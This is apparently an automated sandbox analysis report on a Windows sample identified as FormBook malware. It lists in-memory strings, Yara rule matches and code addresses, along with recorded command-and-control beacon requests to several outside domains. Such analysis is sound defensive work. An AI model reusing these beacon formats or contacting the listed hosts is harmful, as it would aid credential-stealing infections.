Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vzn2aai2qj.icu/u1p5/www.deutscheno1.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.vzn2aai2qj.icuReferer:
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yannickrast.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yannickrast.com/u1p5/
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yannickrast.com/u1p5/www.rhoads-music.com
Source: explorer.exe, 0000001E.00000003.544259587.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.547185331.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.541475880.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000002.605753467.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001E.00000003.546230815.000000000A8C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.yannickrast.comReferer:
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344172860.00000000074A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn

Source: unknown

DNS traffic detected: queries for: www.vzn2aai2qj.icu

Source: C:\Windows\explorer.exe

Code function: 42_2_05566F82 getaddrinfo,setsockopt,recv,

Source: global traffic	HTTP traffic detected: GET /u1p5/?y4Mp=vL5j7Eq3si3+pqkwq9GVQc9zWaxA/P/bTusMaerk9f3EW+lc0CCc1NhXRSl0Kt4KYFMx8zSAYw==&D0GHx=5jNT HTTP/1.1Host: www.shitcoin.teamConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u1p5/?y4Mp=jmW97e0DcxHZsiDt+DmiFhziWrO1jPfkTbEIn6OHXnuLtYKLIrDwNEu/EQYt2xDuBHghXZP9DQ==&D0GHx=5jNT HTTP/1.1Host: www.marymarinho.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /u1p5/?y4Mp=UXBCCV9Hg7LlUlEhFgBZZuvhtrkgDnenbWAOO9JvD+HvWaQ2ttROIxFaz7G4unDmw6qRWL3K2g==&D0GHx=5jNT HTTP/1.1Host: www.bettingweb365.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 14.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 14.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 14.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 14.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 14.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 14.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 14.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 14.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 14.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 14.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 14.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 14.0.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 14.0.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 14.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 14.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

.NET source code contains very large strings

Source: H4vBtZsi8xAKaMm.exe, SimonGame.cs	Long String: Length: 22528
Source: 1.0.H4vBtZsi8xAKaMm.exe.e30000.0.unpack, SimonGame.cs	Long String: Length: 22528
Source: 1.2.H4vBtZsi8xAKaMm.exe.e30000.0.unpack, SimonGame.cs	Long String: Length: 22528

Source: H4vBtZsi8xAKaMm.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 14.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 14.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 14.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 14.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 14.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 14.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 14.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 14.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 14.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 14.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 14.0.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 14.0.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 14.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 14.0.MSBuild.exe.400000.2.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000002.401541679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000002.401760345.0000000000E90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000000.337332545.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000000.388085827.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000000.337090628.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000013.00000002.798933508.00000000010C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000E.00000002.402488098.0000000001200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000013.00000002.799622406.00000000046D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000000.375017182.000000000EBE6000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000013.00000002.790726113.0000000000AA0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Code function: 1_2_019494A8
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Code function: 1_2_0194C148
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Code function: 1_2_0194A758
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00401030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041E1DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041E5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00402D8C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00402D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041E5BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00409E4C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00409E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041D6C5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00402FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0B090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FB1002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F14120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EFF900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F2EBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0841F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F0D5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00FC1D55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00EF0D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F16E30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A520A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF20A8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3B090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF28EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AE1002
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3841F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A52581
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A3D5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF25DD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A20D20
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A44120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A2F900
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF2D07
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF1D55
